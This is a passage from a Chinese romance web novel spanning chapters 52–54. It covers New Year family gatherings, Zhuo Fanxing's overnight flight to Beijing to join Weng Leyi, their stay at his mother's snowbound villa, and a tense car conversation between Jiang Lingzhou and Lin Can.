她低头看了眼自己不认识的字,龙飞凤舞,她不认识它,它也在骂她文盲。谁说的在文化人面前,仿佛天生就气短。这叫她想到那些欧洲佬讽刺美国人,说他们粗鲁没文化,颇有些异曲同工之妙。 “这是什么意思?”她要将无知装作天真,问一问身边的姑娘,总是能显出几分求知的可爱来。 姚灵均一点没笑她的意思,这姑娘是华裔嘛,不识字儿不是很正常,就是她,九年义务制教育出来,见了繁体字也有不认识的时候。 姚灵均不往蒋凌洲跟前凑,她就管着翁乐仪就行,他写好一张,她就上去拿开。 翁乐仪的字写的好,写字的样子也好看——整个人沐浴在阳光下,粗线毛衣穿在身上不显得臃肿,有一股少见的松弛感。搭配着一室墨香,垂落下来的睫毛,乖乖,怎么可以这么长,毛茸茸的像把迷你扫帚。 姚灵均在某个瞬间,突然想到他似乎还是某人的暗恋对象,赶紧拿出手机拍了一张发过去。 这动静不可谓不大,林灿先发现,偷笑道:“你在拍小翁?” 姚灵均被她的发音逗的愣了下,见两位男士也看了过来,尬笑道:“嘿嘿,随便拍一下。” 姚灵均从蒋凌洲的表情里读出一丝嘲讽,仿佛在说:“姚灵均,你还是这么花痴。” 着实闹心。 这自大的男人什么时候可以摔个狗吃屎啊。她默默地诅咒道。 “小翁有女友了对吧。”林灿这样讲,所有人都愣了下。她补充道:“我听程小姐讲的。我到这里的时候,联系了一下她。” “你有对象了?” 翁乐仪看着蒋凌洲。“是。”手上的这张废掉了,他把它折起来扔到废纸篓里。 “哪里人?在Y市认识的?” 翁乐仪有种将一切脱口而出的冲动。 林灿说:“程小姐说是小翁的同学。” “在Y市的同学?”蒋凌洲插着腰,有些奇怪地眨了下眼睛。 翁乐仪的手机震了一下,是卓繁星的消息,正是姚灵均发过去的照片,附文:【你们在一起?】 【对】翁乐仪手上有墨,打了一个字发过去。 【在写春联?对哦,你家里有这个习惯。好想要一幅呀。星星眼.jpg】 【家里还没挂呢,你提醒我了,物业送过来一份,我明天给挂起来。(▽*)】 翁乐仪打了个好字,抬头的瞬间发现蒋凌洲在看着他——对视的时候,他挑了挑眉,眼睛里是探究,或许还有怀疑。 翁乐仪不明白那种心虚的感觉为何又突然出现,这让他没有办法再集中精力,在这个空间里呆着也显得格外憋闷。 他擦了擦手借口离开。 蒋濯衣刚好到家。 “姑娘没带回来?”她见了他,笑着调侃。 “什么姑娘?”二老听了惊奇。“乐仪谈朋友了?”秦奶奶欣喜不已。“是那个小程?” “哪个小程?”蒋濯衣将大衣手套交给保姆,意外自己竟不是这里第一个知道的。 翁乐仪说:“不是程小姐。什么程小姐。”他不明白与她哪里来的关系。 “那是哪家的姑娘?我原先想着那位程小姐也是很好的,还想撮合撮合。”秦奶奶将自己先前的盘算脱口而出,还有知道失败后的沮丧,当然如今外孙有了对象,仍是一桩好事。 他们势必要在翁乐仪嘴里套出一点信息来。 “是,在Y市。” “以前在京市念的书。”这是靠书房下来的林灿小姐提供的情报。 俞秋华感慨道:“没想到你调去Y市还有这样的际遇,看样子是天作的姻缘。这就是缘分来了,挡也挡不住呀。” 秦奶奶满意道:“如今几个孩子都有着落,真是没想到,先前还愁一个两个不肯找对象。” 徐凤笑道:“可不,前段时间还听您讲。眼下您瞧,就是一眨眼的事儿,快的不得了,明年说不定就结婚了,后年啊就让您当上太奶奶了。” “那感情好,我就等着这一天了。”秦奶奶笑的合不拢嘴。“不过还是你家的快,灵均马上就要嫁人了。哎?你家我记得还有个姑娘?后来没见过了,现在怎么样了?” 徐凤没想到她会突然提灿灿,很是愣了一下。 “您说灿灿呐。她在Y城呢”她顿了顿,还奇怪,怎么也是Y城。没等想明白,姚灵均接的飞快,跟抢答似的,说:“灿灿也谈对象了。” “是吗?” “是呀,是个医生,估摸着也快了。”姚灵均讲的眉飞色舞。 “啥时候讲的?”徐凤顾不上了,自己都惊讶。 “她电话跟我讲的呀。是Y市本地人,别人介绍的,特别合适。”她说的一派笃定,仿佛见过一样。徐凤嘀咕:“回头我问问她。” 秦奶奶感慨:“孩子们都长大了,都挺好。” 老人家笑的和乐,姚灵均趾高气昂,有种扳回一城的感觉。哼哼,回头要叫卓繁星颁个奖给她了,她心满意足,她可没让她在前男友跟前落了下风。 第52章 ◎新年(五)◎ 姚灵均不知道翁乐仪硬生生盯着她看了几秒——这稀奇古怪的医生男友从何而来。 翁乐仪发过去的信息说:【你有个医生男友?】 卓繁星一脸问号。 【姚灵均说你有个医生男朋友,发展顺利,天作之合。】 “” 【她乱讲的。】卓繁星没明白姚灵均的用意,或许是误会了她说的男朋友就是上次同她讲过的赵医生。 【八宝饭吃了吗?】 【吃啦。】她回的很快。 【发来看看。】 卓繁星一下宕机。【还在路上。】 【你根本没有点吧。】 【我只是在考虑要不要干脆出去买。】她慢吞吞地发过去。 明明刚才还说不想出门的。翁乐仪没有戳破她。 【我会早点回来。】 【为什么?】 【你说为什么?】 【我觉得没必要。难得放假,多陪陪家里人。】 翁乐仪仿佛看见那边的人皱着眉毛按着手机,一脸纠结的样子。他干脆打电话过去。 卓繁星接的很快,可是仍有些慌乱。“干嘛打电话,你不是在吃饭吗。” “还没开始。” 卓繁星噢了一声,通话陷入短暂的沉默。翁乐仪呼出一口冷空气,望着远处的山景,开口:“你想我回来吗?” “你要回来吗?” 他们几乎是同时开口,复又沉默。 翁乐仪又说了一遍:“你想我回来吗?” 他的声音低沉平和,独独尾音翘起,透出一点淡淡的谑意。他能明白她或许是不想让他为难,又或许是习惯如此,可结果还是不那么让人愉悦。 她可以要求他。翁乐仪是这样想的。如果她说出来,他会很高兴的。而不是感受她的孤单,这让她想到那天出门时她对小八说的话。 他清了清嗓子,看着远处将要落下的夕阳,空气中的温度也随之落下去。他没有穿外套,这样的气温让人忍不住缩起肩膀。 “灿灿,如果你需要我”翁乐仪试图平和自己的语气,将心里的话说给她听。她就是一只小猫。在阴雨天里,孤单的小猫。如果她需要他,他可以立刻飞回去。 “我没事呀翁乐仪。我明天还和邵丽丽约好了吃晚饭,真的,你不要担心。好好过年吧。” 卓繁星觉得他很奇怪,不就是回去过个年,她马上也要回去过年了。她只是不放心小八,所以多呆了几天。不然要将猫带回去吗,不方便的,吴家又没有房间住。她已经打算好了,就两天时间交给潘潘,等她初二回来就将它接回来。 翁乐仪沉默了一会儿,说:“好的。” 卓繁星在收拾收拾准备出门的时候——当然她原先是不想出门的,所以只是穿上羽绒外套,带上围巾,加一副口罩。她决定出去散散心,叫冷风吹吹脑子。翁乐仪又发来信息,说替她点好了八宝饭,包含不限于她经常吃的酸奶、蛋糕、还有一箱水果。 【不用出去了,在家等着。】 卓繁星在玄关处,轻轻踢了踢脚边的小八。“哎呀,你爸好像生气了。” 她或许有些不知好歹,可他就真的没有错吗,他想要她说什么,说你快回来,我一个人孤苦伶仃的等你?可事实上她没有孤苦伶仃,也没有等他啊。 年三十的时候,古镇里每家每户都挂着大红灯笼,活水在巷子边的小渠里汩汩流着,夜深之后偶尔能听见从屋里露出来的春晚节目的声音。 王妈他们早就回了家,连吴老爷也被儿子带着去市里过年了,偌大的吴家院子里就剩下了卓强一家。三个人在小房间里呆着,小木桌上放着两个果盘,里头摆了些芦柑青枣,瓜子炒货,还有一些酥糖。 卓繁星坐在小马扎上,边上立着一只老式取暖器,功率强悍,将她的牛仔裤烤的又干又烫。 电视里放着小品,程霞看的哈哈大笑。卓繁星在边上刷着手机,偶尔抬头看看。屏幕上还是和翁乐仪聊天的界面,这几天一切照旧,他不会再提什么来不来的事,仿佛没有发生过。 翁乐仪问她在干嘛,卓繁星说看春晚。【你呢?】附带一个兔子探头的表情包。 【也在看。】 【爷爷问我要你照片,我把我们的合照给他看了。】 卓繁星在手机上的指头停住,过了会儿打字过去:【他认出来我吗?】 【没印象。】 卓繁星不知道自己是不是松了口气,他要知道她是姚馨雅的女儿,先前和他儿子传过绯闻那个不知道怎么想。 【他夸你漂亮。】 卓繁星悄悄掩住翘起来的嘴角。 翁乐仪正在输入中好久,卓繁星等了一会儿也不见他发过来。 程霞说:“灿灿和谁聊天呢?” “朋友,他给我养猫呢。” “你还养了猫呀。” 卓繁星点点头。“领养的流浪猫。” “你和你爸一样,都喜欢猫啊狗啊的,我一点都不喜欢,麻烦的很。” 这时候上了舞蹈节目,程霞看的连连赞叹。“真家伙,跳的真好。这种是不是都是你们那种舞蹈学院出来的?” 卓繁星说:“也不都是。” “有什么好看的,不知道跳什么。”卓强在边上说。 “这还不好。你眼光倒高,给你看你又看得懂伐。”程霞一扭头,触到卓强的目光,愣了下,默默转回去磕瓜子。 卓繁星不晓得他们打的机锋,托着腮看的出神。 天上的月牙儿就一点点,几朵灰云飘在空中。十点钟,卓繁星就从他们房间离开了。她手里拿着一盒卓强塞给她的仙女棒,这是她小时候最喜欢的烟花,过年了一定要有。 卓强现在还要给她买,说:“你以前不是最喜欢这个,还有摔炮,在你新衣服上炸出两个洞来。” 这话他每年都要说一遍。是不是人年纪大了就要念旧。 卓繁星蹲在地上点了一根,烟火刺刺的响,银色的光像朵花一样在手上绽放,没一会儿就烧完了。 她稀里糊涂看着,不知道别人是不是这样,她见着那火一点点烧下去,眼见着要没了,总是会急起来。然后就觉得这急莫名其妙,像是心上栓了根绳子,从它烧起来的时候就开始吊起来。 好看的东西就成了折磨,到后来满心满眼就剩下怎么办,马上就要烧完了,这一个念头, 真是很扫兴的事。 她走出院子,听见对岸酒吧里传来断断续续的音乐,走到桥上,声音就更清晰了。 卓繁星在去酒吧坐坐,还是不去之间纠结。那声音听着是首烂大街的老情歌,实在有些俗气。叫人不觉得是什么能安放心事,好好坐一坐的地方。而今天晚上的酒钱肯定不便宜,她觉得太不划算。 桥没有栏杆,就是几块石板拼出来的,一低头就能看见下面黑幽幽的河水,映出人影,有种金属的冰冷感。 卓繁星插着口袋,仿佛被困住了。既不想回去,又不想去酒吧。她摸出一根仙女棒点燃。刚好有个人路过,免不了要看两眼。卓繁星尴尬地低头,此情此景,实在容易让人误会她是什么孤单的,离群索居的人。 这时候,她不得不承认翁乐仪看出来了:她的确是个死鸭子嘴硬的人。 在又一次将桥上的碎石踢到河里去后,卓繁星翻出手机。 【你在干什么?】她将这几个字发过去,还是狡猾地隐藏了一下。 【打牌。】 卓繁星本来想问他和谁一起,想了想赶紧删掉,回了个兔子乖巧点头的表情包,然后迅速把手机按灭塞回口袋。 她当然有抢红包呀,群里还是很热闹的,只是还没到零点,零点会更热闹。她想明天要记得给陈女士发去新年问候,其他私教课的家长一般有潘潘负责,她只要记得在群里发一下就好。 还有谁?还有什么事? 京市,翁乐仪推开椅子起来,刘清华说:“你不打了吗?” “嗯。”翁乐仪按灭烟头,拿起椅背上的外套。 李敬不满道:“才几点?春晚都没放完。怎么,回去接着看啊。” “对啊,才几点。”刘清华伸了个懒腰。“我还想着一会儿再安排点节目。” “困了,你们继续玩儿。”翁乐仪捋了下额前散落的头发。 陈跃拉他。“真回去?再玩会儿。” 翁乐仪搁在桌上的手机响了,李敬瞅一眼。“这谁啊?” 翁乐仪一下抢过来。 他激动道:“哦呦,这么紧张干什么?女人?你对象?你万年铁树开花了?” 蒋凌洲说:“你才知道,乐仪在Y市谈的。” “靠,真的假的,哪位大神能收了你?” 翁乐仪没工夫理他们,走出去才接起来。 卓繁星的声音有些迟疑。 “是我,翁乐仪。”他清了清喉咙。 “我知道。”卓繁星没有发现他这番开口的古怪,自顾自为接下来的话纠结。 “怎么了?”翁乐仪感觉到喉咙干涩,他焦躁地松了松领口,转头确认里面的人仍在牌桌上。 “翁乐仪,你有一箱仙女棒吗,有的话我就来找你。”她的声音轻而快地传过来,像是怕自己后悔,又好像知道自己讲出来的话有多离谱,所以期盼他不要听见,即使是听见了也不要回应。让她自己发疯吧。 她不是说不需要他吗。那今天这个人一定是吃错了什么东西,变成了另一个人,另一个卓繁星。 翁乐仪不知道她这些复杂心思,他只有领口被松开,束缚解除的雀跃。一点一点,由淡转浓,由暗转明,不可谓不多,就像骤然充足的氧气。 “好。”翁乐仪甚至不知道自己的眉眼瞬间扬起。 “好什么?”陈跃听见他的声音,然后转头就对上他称得上灿烂的笑容。 陈跃受惊地往后躲了下。 “许筠的邀请函。”他在地上捡的,估计是他拿外套的时候被扫到地上了。 “那天你要去的吧?”陈跃问道。许筠从舞团出来,自己开了家工作室,他们几个是发小,自然要去捧捧场。 “不一定,应该已经去Y城了。” “有这么赶吗?” “送个花篮去就好了,我也不懂这些。可以给我妈,她应该会感兴趣。” 陈跃点点头,没什么要讲的了,可是对于他对象还是很感兴趣的。“是那个姑娘?” “哪个?”翁乐仪警觉地挑了下眉。 “那天在你妈别墅里,你说亲了你可是回头不认账的那个。真是她,哈哈,你追上了。”陈跃一只手插腰笑道:“那可真是个厉害人物。什么时候能见见?” 翁乐仪诡异地沉默了一秒。 “你见过。” “谁?” “卓繁星。”说出口,翁乐仪有些松快地靠在墙上。 第53章 ◎新年(六)◎ “谁?” 陈跃的表情几乎尬住,怀疑自己听错了。他的目光从翁乐仪脸上划过,划向牌桌上的人。 “凌洲知道吗?” 翁乐仪歪了下头说:“会知道的。” “你怎么和她搞到一起去?” “有什么问题吗?” 陈跃愣了下,接触到他危险的视线,果断摇头。“当然没有。” “所以你现在是去找她?她来京市了?” 翁乐仪点头,眸中的喜悦又涌了上来。“对。”他笑着往外走,风衣的下摆被吹起,他整个人有一种雀跃的幸福感。 陈跃看着他远去,挑了挑眉。里面的人问他在外面干什么,发呆吗?他懒洋洋地摆摆手说来了。 或许奇怪的点在于这姑娘以前和蒋凌洲谈过,可是那又怎样?是啊,那又怎样。 卓繁星在凌晨落地京市,这是个十分冲动的决定,完全凭着一腔热血?这个用词太过血腥,严重,可她也想不出来还有什么能表达出她当时亢奋的心情。 她几乎是在挂了电话后就立即从吴家院子出发,打上车直奔机场。她该庆幸还有一班红眼航班可供选择。不然随着明天太阳的升起,她势必要后悔。即便她身在机场,也未尝没有打道回府的可能。 这趟从Y城飞往京市的航班自然是新年前的最后一班,不过没想到竟然还有这么多人,真是叫卓繁星大开眼界。 她想这时候赶飞机的人,一定是有什么一定要回去的原因。她默默观察,自己在其中并不算突兀。她有一种后知后觉的羞耻感,为什么会如此的矫情,以及喜欢这种偶像剧里罗曼蒂克的情节。 这让她想到自己小时候看金粉世家,金燕西向冷清秋求爱的时候,两条大大的横幅从楼上挂下来,上书“Iloveyou”三个字母,她分明一点也欣赏不来。只有灵均喜欢这样的情节,并和舅妈一起感动不已。 果然爱情使人盲目。 她在飞机上时才有工夫去想,明天卓强他们知道会是什么反应。她有什么理由一定要赶回去呢,他势必要多想,说不定会觉得哪里又让她不开心了。 总而言之,她有点后悔,自己那点矫情的心思折腾出许多事,实在是毫无必要。 飞机落地,她就收到翁乐仪的信息,是在两个小时前发出来的,那正好是跨年的零点。 她不知道他从哪里找来的仙女棒。 下飞机的时候卓繁星头重脚轻,有种混沌的晕眩感。手上只有一只小小的旅行包,亏得是这样,不然她怎么能悄无声息的从吴家离开。 翁乐仪或许以为她睡了,没有再发来任何讯息,只是让她把航班信息发来,他好来接她。 卓繁星在机场大厅停留了四个小时,看着机场从空荡安静到逐渐忙碌,人越来越多,总算没有打扫卫生的大妈大叔投来多余的目光。 玻璃窗外的天空逐渐亮起,她给翁乐仪发去信息时,猜想他肯定还在睡,却没想到那边很快回过来。 【我就在机场。】 卓繁星仿佛听见自己心脏剧烈跳动的声音,一下一下,如同外面升起来的太阳,那么显眼。 她走出机场,翁乐仪的身影很快出现。 他摘下帽子,笑着捋了下凌乱的头发。 “凌晨的飞机?”他接过卓繁星的包,在前面带路。 “2点落地的。” 他们的眼神有短暂的交汇,卓繁星那些落地后关于自己冲动的后悔悉数化为了乌有,仿佛不曾存在过。她想幸好自己连夜定了航班,要是今天她是在吴家院子醒来,她就见不到这样的翁乐仪了。 “我买好了你要的东西就开车过来了。” 翁乐仪过马路时这样讲。他的视线是看着左右行过的车流,偶尔的一个瞬间才会看向她,仿佛是不经意的路过,顺便看一看她。 “那你也在机场。” “嗯。”翁乐仪没有反驳。 卓繁星到了车里才明白,或许他是睡在车里的,她在里面发现了一条还没来得及折起来的毯子。 翁乐仪将后备箱打开,她要的东西就在里面。 他将她的包一并放上去,简短地说:“要拆一包玩玩吗?” 卓繁星不知道他是怎么弄来的,在昨天那个似乎大家都休假的时候,势必不会那样简单,总之不会比平时容易。 他们的视线今天似乎很难定住,总是撞上一会儿就飞速离开,远不如平时的自在。 后备箱还开着,就在两人的头顶,仿佛支起的一顶帐篷。 卓繁星又感觉到他的目光,他一缕微卷的头发落在额头上,整体稍显颓丧的捋在脑后,露出饱满的额头。优越的眉骨在这个冬日清晨有一种冷淡的干净感,下面的眼睛单纯执拗,在她的注视下,凝滞了一瞬,然后稍显羞赧的移开。 翁乐仪说:“灿灿。”呼出的空气带着白雾,他眉宇不自觉皱了下,不知该说什么。“先上车吧。” 卓繁星不知道自己的眼睛像把钩子,或许还是林间跳跃的小鹿,那是一种调皮而又狡猾的生物,可太过可爱,不会让人责怪,却总是让人忍不住去追随亲近,不知不觉就勾引着猎人往丛林深处去。 卓繁星决定收回自己的目光,乖乖听他的话。所以她很配合地往副驾驶去,然而在转身的瞬间,就被拉了回去。脸上的口罩被摘下,那张好看的脸便贴了过来。 卓繁星闻到他身上淡却不容忽视的烟草气,还有薄荷的凉气。他总是有这样的习惯。她猜他在下车前吃了两颗薄荷糖。 翁乐仪的头发落在她脸上,泛起轻微的痒。 翁乐仪只是亲了一下,就放开她,贴着她问:“为什么戴口罩?”为什么一直不摘下来。 他只能看见她的眼睛,在猜测中不确定。 卓繁星说:“如果昨天没上飞机,我就不会来了。你会生气吗?” 她有一丝暗暗的庆幸,幸好来了。她都不敢想,要是自己告诉他昨天是喝醉了说的梦话,他不晓得会是什么反应。 翁乐仪的目光锁着她,鼻尖擦过她的,薄唇微动,给出肯定的回答。 “会。我会很生气。” 你看,她就知道。她暗想自己逃过一劫。 “然后飞去找你。”他用一种拿她没办法的语气开口。“我本来就在机场了,会很方便。” 所以结果是一样的。他将这句话用眼睛告诉她,顺利地在她眼睛里看见流淌出来的笑意。他感到心满意足。那种雀跃经由她的眼睛传递到他的身体里,最后都淹没在彼此的唇舌间。 翁乐仪驱车将卓繁星送到蒋濯衣郊外的别墅,在途中便开始下雪。 卓繁星说:“我将Y市的阴天带过来了吗?” 翁乐仪轻笑一声。电话响起,卓繁星看见是他妈妈的电话。 “我先送你过去,中饭不能陪你吃了。” “没事呀。”他今天肯定要去蒋家拜年,她知道的。 车子在一家大型超市门口停下,他们需要采购一点东西。“那边比较偏。”他这样跟她解释。 卓繁星在看大别墅,和被流放郊外两个思想波动里冲击。“你为什么一定要带我去那边啊?” “那边风景很好。很安静。”后面的三个字适时地顿了顿才出口,卓繁星自然没错过其中的缠绵之意。 翁乐仪是个很会说情话的人吗?卓繁星仔细想了想,好像不是,可是他好像更厉害。不然她怎么会一下子心跳加速,脸也发烫。 这时一辆车往相反的方向驶去,林灿坐在车上,身子往右侧后视镜的方向靠了靠。 “我好像看见小翁了。” 蒋凌洲不经意地扭头,突然一个急刹。林灿猛地往前冲,停下来后抓住安全带惊道:“怎么了?” 蒋凌洲已经解开安全带,推开车门冲了下去。 雪落得并不大,可风中夹着雪粒,天空灰茫,透出些冷寂来。 他的眼睛四下看着,明明刚刚在左视镜上看见了,虽然她头发短了,但他确定就是她。 身后的汽车发出尖锐的喇叭声,司机降下车窗,伸头骂道:“喂!你干嘛?别堵路行不行?” “你怎么了?”林灿在车里喊了两声,不明白他到底在发什么疯。 蒋凌洲坐回去,眼中的混乱并未平息。 这一路,十分沉默。 林灿看着他一只手撑着车窗,一只手扶着方向盘,不知在思考什么,侧脸看起来尤为冷峻。 林灿说:“你刚刚怎么了?”她还是忍不住问道。 “好像看见一个人。” “谁?小翁吗?我是看见他了。” 蒋凌洲没有反驳。 林灿想肯定不是他,他不会为了翁乐仪这样失态。 蒋凌洲打着方向盘,摸了摸嘴唇,说:“我听许筠说你答应在她的工作室任教。” “只是客座老师。” 他沉吟一声。“如果你想要其他的发展,有什么要求可以和我提。” 林灿感觉心里一空,像是方才他推开门,一下灌进车里的冷风,打的她措手不及。 “什么要求?我没什么要求。”林灿抱起臂膀,看向窗外。她不明白,明明他家里人都很喜欢她,当然除了俞女士,可是她以为他不排斥带他回家,就是默许了,不就是这样吗。这可是过年,不是什么平常节日。 “我给奶奶带的纪念章,忘在你公寓里了。”她突然开口。 “下次再拿去。”蒋凌洲不在意地讲。 “还有下次吗?”林灿抖着嘴唇,像是个瘪掉的气球。 蒋凌洲睨了她一眼,蹙眉道:“早和你说过了,别对我抱太多期望。” “是你自己给了我希望。”林灿气恼地开口,转过来的眼睛泛出晶莹的水光。“如果你一直不结婚,那我也无所谓,反正也没有差别。” “这么喜欢我?”蒋凌洲挑了挑嘴角,有些嘲讽。 “当然。”他怎么可以怀疑她的真心。 蒋凌洲却毫无愧疚之心。“可是我没有那么喜欢你。” “所以?”装可怜没用是吗,这招失灵了?林灿咬住嘴唇瞪他。她确定,他要再敢说一个字,她就做好了咬死他的准备。 “知道平安夜那天我去哪儿了吗?” 林灿已经磨好的牙齿一下缩了回去。这已经是过去的事了。虽然她的确因此同他争吵过,她明明说过那天她会有一场表演,他却缺席了,但是已经过去了。 他现在提起绝不会是突然良心发现。 “想知道吗?”他还在诱哄,慢条斯理,毫无负担。 “嗯?别告诉我你有一个喜欢了很多年的女孩儿,她是你的初恋,你对她念念不忘,所以回去找她了,然后悲哀地发现她已经结婚多年。是这样吗?” 林灿感谢自己敏感的神经发挥了作用,而且她还足够了解他。 她嘲讽地仰起头,几乎将鼻孔对着他。“这真是个很俗套的故事。当然,如果真是这样,那你真是太可怜了哈尼,我不介意陪你一起喝酒到天明。” 林灿一番话说的飞快,说完后一张脸都变得通红,全是急促的呼吸。她的眼睛定定地望着他,没有移开分毫,显出一种直白的孤勇和单纯。昂起的下巴,代表挑衅与怜悯。 蒋凌洲短暂地怔住,冷脸很快被手盖住,泄出一声短促的笑声。“我发现你的想象力真的很丰富。”随即伸手在她脑袋上狠狠按下去。 “喂!F*k.”林灿同样重重打了他一拳。 “呵呵,我想你不会是这样可怜的人。”她还要添油加醋。“当然,初恋总是意义非凡的,如果真是这样,我也不是不能理解” “你可以闭嘴了。” 林灿无所谓地耸了耸肩,维持着高傲的神情看向窗外。她赢了不是吗,当然如果忽视她藏在围巾下被掐的通红的手的话。 她看着外面灰暗的天,心想,真是个糟糕的天气。 第54章 ◎新年(七)◎ 翁乐仪妈妈的别墅,卓繁星认为或许称之为庄园更贴切。 她有种刘姥姥进大观园的感觉,从车子行驶进茂密的冷杉林开始,她看见一只松鼠跳跃在树干上。 “松鼠,翁乐仪,有松鼠。” “这里有很多。”某人平平无奇地看了一眼她指的方向。 “感觉外面好冷呀。”卓繁星看着外面的树,树干笔直直插天际,远处白茫茫一片,是山上积的雪。 “不远的地方有个滑雪场,还有温泉。” 卓繁星说:“你这样和我到这里来,没关系吗?” “什么?” “过年哎。”她才不信他有这么多时间,而且长辈肯定要问起的吧。 翁乐仪说:“你有什么安排吗?” “既然来了,肯定要去舅妈家拜年。还有几个朋友,问问他们有没有时间。” 翁乐仪说:“我知道了。” “你知道什么?”卓繁星有些心虚。 “知道你不是为了我来的。” 他一本正经地说出这句话,卓繁星没了不好意思,只有好笑。“你本来也没那么多时间给我吧。我发现你挺坏的。” 翁乐仪保持着面无表情,可是唇角还是泄露出一丝淡淡的笑。 卓繁星一下就抓住了。 下了车,守门的一位老先生迎出来,翁乐仪称他关叔。 “屋子都是干净的,我老婆子整理的勤快,刚刚过年前打扫过,就是很久没住人了,有点冷清。不过里面有地暖,冷不到哪里去。” 翁乐仪同他道了新年快乐,并将超市里买来的两个礼盒递过去。 “我们住不了多久,麻烦你们了。” “新年快乐。您太客气了。我昨天钓了两条鱼,一会儿炖了汤给你们送去。很大两条鱼,差点给我拽水里去。” 翁乐仪说:“这是我女朋友,卓繁星。” “卓小姐好,有行李吗?我来拿。” 翁乐仪说:“不用,不是很重。” 卓繁星进门的时候,里面出来了一位系着围裙的妇女。“乐仪。房间我都收拾好了。啊,真是个漂亮姑娘。” 卓繁星受了调侃,脸有些红,后知后觉地问翁乐仪。“阿姨知道我来吗?” “我同她打过招呼。” 卓繁星想那她欢迎她吗。她是知道了翁乐仪要带女友来,还是知道了翁乐仪要带卓繁星来,差的还是有点多的。 她没再问下去,还是有些胆怯。 别墅是一栋整体为白色的建筑,有些复古的英氏风情,内里的装饰以大地色为基底,搭配深胡桃木色的家具。 这里不像翁乐仪在Y市的公寓,似乎更偏向夸张繁复,有一种维多利亚式的风格。 护栏的铁架子都漆成白色,下层种植了许多花草,到了春天势必会非常好看。二层有一间半圆形的露台,窗户是上下双悬窗,卓繁星将窗户推上去,人能踩在露台上。 起居室有老式的壁炉,即便房子里有地暖空调,可是这只壁炉还是必不可少。卓繁星想到吴家厨房里生的火堆,本质上一样的东西,可这个经过打磨,仿佛装在精美的盒子里,让人立即想到坐在旁边喝上一杯热巧克力或者红酒,而不是嗑瓜子吃烤番薯。 卓繁星在这个有些复古的房子里睡了一觉,醒来的时候,翁乐仪已经回来了。 他们在楼下的壁炉旁坐着,外面的天也黑了。 “你要吃点什么吗?” 卓繁星一时想不起来,她在暖呼呼的环境下,想吃冰淇淋。 翁乐仪说:“我们买了吗?” “好像没有。” “那就喝点饮料吧。” 他调了两杯酒回来。卓繁星说:“这个是怎么生起来的?这些木头就是后面山上的吗?我还以为这种林木都是不允许被砍伐的。” 翁乐仪说:“用不了那么多。” 地上铺着柔软的羊毛毯子,卓繁星索性坐在地上,背靠着丝绒沙发。 “外面的雪下大了?” “嗯,要下到明天。” 她让翁乐仪将这只壁炉点起来。“你教我,我来点。”她实在是很感兴趣,考虑到他的腿不方便,于是自告奋勇。 翁乐仪跪下来,叫她去把柜子上的报纸拿过来。 壁炉里产生的气体会被导出去,翁乐仪说那边的花房里有些设计,还可以用于花房的供暖。 “你去花房看过吗?”他跪在地上扭头问她。 卓繁星愣了下说没有。“还没来得及。你一走我就睡觉去了。”她被他挺翘的屁股吸引住,实在是这个姿势太惹人注意。 “那里的西洋杜鹃开的很好。” 翁乐仪还浑不知情,拿出火柴点燃撕下来的报纸。 听见身后的笑声,他奇怪地扭头。 卓繁星说:“你的屁股好翘啊。”还有修长的腿,全被包在修身的西装裤里。 翁乐仪惊讶地挑了下眉。“你可以再无聊一点吗。” 他将引燃的报纸放到木头上,甩火柴的姿势,有种潇洒劲。 卓繁星像是见到了什么新奇的东西,一下将他扑倒。 翁乐仪张着手,完全愣住。 “干什么?” “投怀送抱。” 卓繁星听见他胸膛里传出来的笑声,又一下撑起来,盯住他。“还有强抢民女。噢,不,民男。” 翁乐仪完全放松下来。卓繁星穿了一件珊瑚绒睡裙,他在刚看见的时候就有种小动物的感觉。他想到拇指姑娘,可以随身带进口袋里,带着去任何地方。 卓繁星仿佛听见了他的想法,趴在他胸前,安静又乖巧。 火焰烧过木头,散发出一种松木的清香。两个人都有些懒洋洋的,温暖的环境十分安静,只有木头燃烧时发出的声音。 翁乐仪一只手垫在脑后,一只手抱住她。 卓繁星却在他刚抱住她的时候,一下跳了起来。 “我听见了。” “什么?” “你的心跳声。它在说,灿灿,我好喜欢你呀。” 翁乐仪没忍住一下笑出来,笑的老高,一点都不像他平时的样子。他干脆靠在手肘上,望她。“我以前怎么没发现你这么自恋。” “难道不是吗?”卓繁星翘着嘴。“谁眼巴巴去机场等我,等了一个晚上。” “你很骄傲?” “我只是在陈述事实呀。” 翁乐仪一下拉住她,卓繁星只来得及发出一声短促的叫声,就被压在下面。 “你干嘛?” “我也想听听你的心跳。” “不要流氓。” 胸前的布料一团乱,卓繁星红着脸将他的一条手臂死死抱住。 翁乐仪在她发烫的脸上蹭了蹭,说:“我也听见了。” “听见什么?”她还没缓过来呢。 “它说我想你了。” “什么?” “我想你了。” “噢,我知道呀。” 翁乐仪失笑,眼睛里亮着温暖的光,在她额头上重重亲了一下。 起居室的钢琴上摆了许多照片。有他妈妈的单人照,还有许多合影——有幼年时的翁乐仪,还有他们一家三口的照片。 卓繁星说:“你是更像你妈妈还是爸爸?” 翁乐仪敲着琴键,看见她手上的合影。 “可能还是更像我爸。” “我感觉你比叔叔更柔和一些。” “那大约是从我妈身上遗传来的。” “基因果然很重要啊。”卓繁星坐到他身边。“可是叔叔和阿姨都不是卷发哎。” “我奶奶是。这里没有她的照片。”他看了一眼钢琴台子。 “叔叔和阿姨是怎么认识的?” “校友,他们一起在剑桥念书。” “谁追求的谁?” 翁乐仪没想到她会对这个故事这么好奇,这个蒋女士很喜欢讲的浪漫故事。 “可能是我妈主动的。” “啊~”卓繁星十分感叹。“果然能让阿姨主动的不是一般人,叔叔难追吗?我猜肯定抵挡不了多久吧。” 他几乎没有抵挡。翁乐仪默默在心里讲。 “先甩人的也是她。”他有些恶作剧地开口。 卓繁星果然愣住,随即更加崇拜。 “阿姨果然是我辈楷模。帅哥千千万,何必吊死在一棵树上呢。” “你是这样想的?”翁乐仪停下手上的动作。 卓繁星乖巧点头。 “再给你个机会,修正一下。” “为什么要修正。”卓繁星敏捷地跳起来,瞬间跑走。 卓繁星在第二天清晨见到了一盆开的美丽无比的杜鹃,这让她想到春天。 “怎么可以开的这样好?”她抚着渐变的粉色花瓣,它们一团团像纸扎出来的。 翁乐仪说:“等到45月份,墙头会有一大片,会更漂亮。” 卓繁星说:“到时候你拍照给我看。” “为什么不能过来看。”翁乐仪回答的很自然。 他们在别墅里也就呆了两天。离开的时候翁乐仪问她:“要不要去见一见爷爷?” 卓繁星有些受惊地看着他,他解释道:“反正他已经看过你照片了。” “我有点紧张。” “你们不是见过?” “那不一样。”卓繁星撒娇道:“下次吧,我觉得还是有点快了。” 卓繁星去了姚家拜年。 